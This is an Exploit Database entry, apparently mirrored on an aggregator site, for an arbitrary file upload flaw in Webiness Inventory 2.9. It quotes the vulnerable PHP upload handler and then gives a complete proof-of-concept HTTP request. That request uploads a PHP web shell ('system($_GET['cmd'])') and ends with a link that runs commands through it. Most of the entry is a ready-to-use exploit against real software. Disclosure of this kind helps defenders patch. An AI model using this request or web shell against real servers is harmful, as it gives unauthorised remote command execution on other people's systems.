Webiness Inventory 2.9 – Arbitrary File Upload

• Exploit Database
• 17 阅读

• 作者： Boumediene KADDOUR
  日期： 2018-10-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45740/

• # Exploit Title:Webiness Inventory 2.9 - Arbitrary File Upload
  # Date: 2018-10-27
  # Exploit Author: Boumediene KADDOUR 
  # Unit: Algerie Telecom R&D Unit
  # Software Link: https://github.com/webiness/webiness_inventory
  # Version: 2.9<
  # Tested on: WAMP windows 10 x64
  # CVE: unknown
  
  # Vulnerable Code: https://github.com/webiness/webiness_inventory/blob/master/protected/library/ajax/WsSaveToModel.php
  
  46 foreach ($_FILES as $file) {
  47$fileName = $file['name'];
  48$fileTmp = $file['tmp_name'];
  49$destDir = WsROOT.'/runtime/'.$model;
  50
  51$field = key($_FILES);
  52
  53// files are upload to "runtime" directory create destination directory
  54// if not exist
  55if (!file_exists($destDir)) {
  56mkdir($destDir, 0777, true);
  57}
  58
  59// allowed file size is 3MB
  60if ($file['size'] > 3145728) {
  61continue;
  62}
  63
  64 // remove old file with same name
  65if (file_exists($destDir.'/'.$fileName)) {
  66unlink($destDir.'/'.$fileName);
  67}
  68
  69// upload file
  70move_uploaded_file($fileTmp, $destDir.'/'.$fileName);
  71$m->$field= $fileName;
  72 }
  
  # Proof Of Concept
  
  POST /webiness_inventory-2.3/protected/library/ajax/WsSaveToModel.php HTTP/1.1
  Host: 172.16.122.4
  Content-Length: 1838
  Accept: */*
  Origin: http://172.16.122.4
  X-Requested-With: XMLHttpRequest
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOOyIF2f26nDrsM7
  Referer: http://172.16.122.4/webiness_inventory-2.3/index.php?request=partners/index/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
  Cookie: resolve_ids=0; order_dir_list_by=1A; _csrf=b49cff27d7c0ccd3a8dd5af3813025249dc909f2a20c12efcb7770f945715b06a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%224dWxR4kKmI-ZSWJBsigl0tHhdecVhozc%22%3B%7D; language=32d49278f28c78229de164fe79dc13b6adb3c98af2d133240eb1ffc44771ad3da%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22language%22%3Bi%3A1%3Bs%3A2%3A%22en%22%3B%7D; PHPSESSID=h66id6epvp8g1uoshrdog53323
  Connection: close
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="model_name"
  
  PartnerModel
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="id"
  
  2
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="partner_name"
  
  My crucial Partner
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="logo"; filename="shell.php"
  Content-Type: application/octet-stream
  
  <?php system($_GET['cmd']);?>
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="id_number"
  
  25
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="tax_number"
  
  225588664477
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="iban"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="address1"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="address2"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="region_state"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="zip"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="city"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="country"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="email"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="web"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name="phone_number"
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name=""
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7
  Content-Disposition: form-data; name=""
  
  ------WebKitFormBoundaryUOOyIF2f26nDrsM7--
  
  # Access your webshell via the below link
  http://172.16.122.4/webiness_inventory-2.3/runtime/PartnerModel/shell.php?cmd=whoami